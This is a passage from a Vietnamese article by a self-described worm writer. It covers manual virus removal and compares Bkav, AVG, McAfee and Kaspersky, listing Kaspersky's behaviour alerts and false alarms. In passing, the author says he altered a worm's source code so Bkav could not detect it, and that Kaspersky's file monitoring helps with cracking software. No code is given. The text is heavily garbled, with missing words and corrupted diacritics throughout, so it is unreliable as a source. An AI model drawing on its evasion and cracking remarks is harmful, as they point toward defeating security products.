xóa bỏ chúng (Hãy thận trọng file quan trọng hệ thống) Với bạn tự tay tiêu diệt khoảng 85% loại virus cịn với số loại virus có số chế độ “Phịng thủ” cao cấp vào phần sau Dũng còi đề cập Lựa chọn phần mềm chống virus (Antivirus =AV) : Có nhiều phần mềm chống virus, nhiên cấu hình máy tệ nên Dũng còi dám test phần mềm sau : Bkav, AVG, McAfee, Kaspersky Và cuối Dũng cịi tìm thấy phần mềm tuyêt vời (Tuy nhiên để khách quan Dũng còi phân tích thằng số này) Bkav : Okie, lựa chọn nhiều người, Dũng còi sảng hồn hơm trước Dũng cịi có dịp Ban Mê Thuộc để mua vài tờ báo IT thấy ơng Quảng dám nói rằng “Phiên thương mại Bkav, thiết kế với tính đặc biệt nhằm bảo vệ an tồn tuyệt đối máy tính bạn trước virus”. Khơng biết Pro có ngon thiệt khơng Dũng còi sài thử Home mà phát chán Tính diệt virus khơng cần nói (AV mà khơng diệt Virus dẹp), nhiên khả tự động cảnh báo hành vi thông thường Virus khơng có Chưa kể ơng Bkav cịn diệt không số loại virus nhận chúng Thậm chí hơm trước worm viết ơng Bkis cập nhật Bkav Dũng cịi tải “Coi cho vui”, té ngửa cần thay đổi vài dịng code source worm (Đã cập nhật) làm Bkav pó tay (Mịa cha ưi, Dũng cịi muốn chọc giận Bkis ngày Dũng còi phải bắt cập nhật vài chục biến thể => Pó tay luôn) Tuy nhiên phải công nhận, Bkav phần mềm chống Virus thường cập nhật virus Made In Việt Nam mà đôi lúc phần mềm lớn khác khơng cập nhật (Tuy nhiên, tính tự động bảo vệ AV mạnh thông thường dư sức tiêu diệt loại worm này) AVG : Tính tìm diệt virus tốt Tuy nhiên tính tự động cảnh báo hành vi “Bất chính” khơng có Giao diện rối rắm, khó sài Tuy nhiên với nhu cầu “Qt” bình thường ok McAfee : Khá ngốn RAM hệ thống, tính diệt tốt, có nhiều tùy chọn nâng cao, giao diện dễ sài Tuy nhiên tính tự động nhận diện có khơng làm việc tốt (Có thao tác nguy hiểm bị nhận cảnh báo) Như rõ ràng với người dùng bình thường sài “Ổn” Kaspersky : Phần mềm AV tốt mà Dũng còi dùng (Trong phần mềm liệt kê) Chạy chiếm dung lượng nhớ, công cụ diệt tốt, giao diện dễ sài Tính tự động cảnh báo làm việc xuất sắc Cảnh báo hiệu : - Cảnh báo thao tác ghi key khởi động - Cảnh báo dấu hiệu tự động Copy file hay chỉnh sửa file (Với file thực thi) - Cảnh báo việc tự động cài Driver vào hệ thống - Cảnh báo việc mở URL thơng qua trình duyệt web chương trình - Cảnh báo việc Hook, hay Inject vào process hệ thống (Rất tốt để chống KeyLog cấp thấp số thao tác nguy hiểm khác) nhiều tính khác Tuy nhiên, q “Tốt” nên đơi lúc làm người dùng khó chịu (Qúa nhiều cảnh báo), địi hỏi người dùng phải có hiểu biết PC sử dụng đạt hết hiệu Một số cảnh báo “Thừa” thường gặp (Bản thân Dũng còi gặp) : - Cảnh báo viêc đọc file Explorer.exe - Các chương trình load chương trình (Đơi lúc gây thừa) - Cảnh báo với tập tin xem Flash (Thao tác đọc ghi file) - Tương tự thao tác xem tập tin Flash (Định dạng exe) số chương trình cài đặt cố gắng trích xuất file riêng bị cảnh báo (Rất khó chịu) - Tính Trusted Modules hay để xác định chương trình “Lương thiện” (Do người dùng tự chọn), gây nhiều khó chịu (Anh Kav kỹ tính q) nhiều Cần nói thêm sài thằng cịn có nhiều điều thú vị (Như đơi lúc coi trình làm việc tập tin đó, việc hiệu để tiến hành Crack) Thông tin cảnh báo đưa chi tiết cụ thể, phần History cần thiết để xác định worm thông tin để dễ tiêu diệt chúng (Tính tuyệt vời) 3. Dùng code trị code : Nếu bạn theo dõi worm Dũng cịi viết bạn thấy kỹ thuật “Bảo vệ” mà Dũng còi sử dụng cho worm (Khả bảo vệ thông qua thao tác đọc Process lúc nhiều worm PC) Tuy nhiên khơng worm Dũng cịi viết có việc làm “Xấu chơi”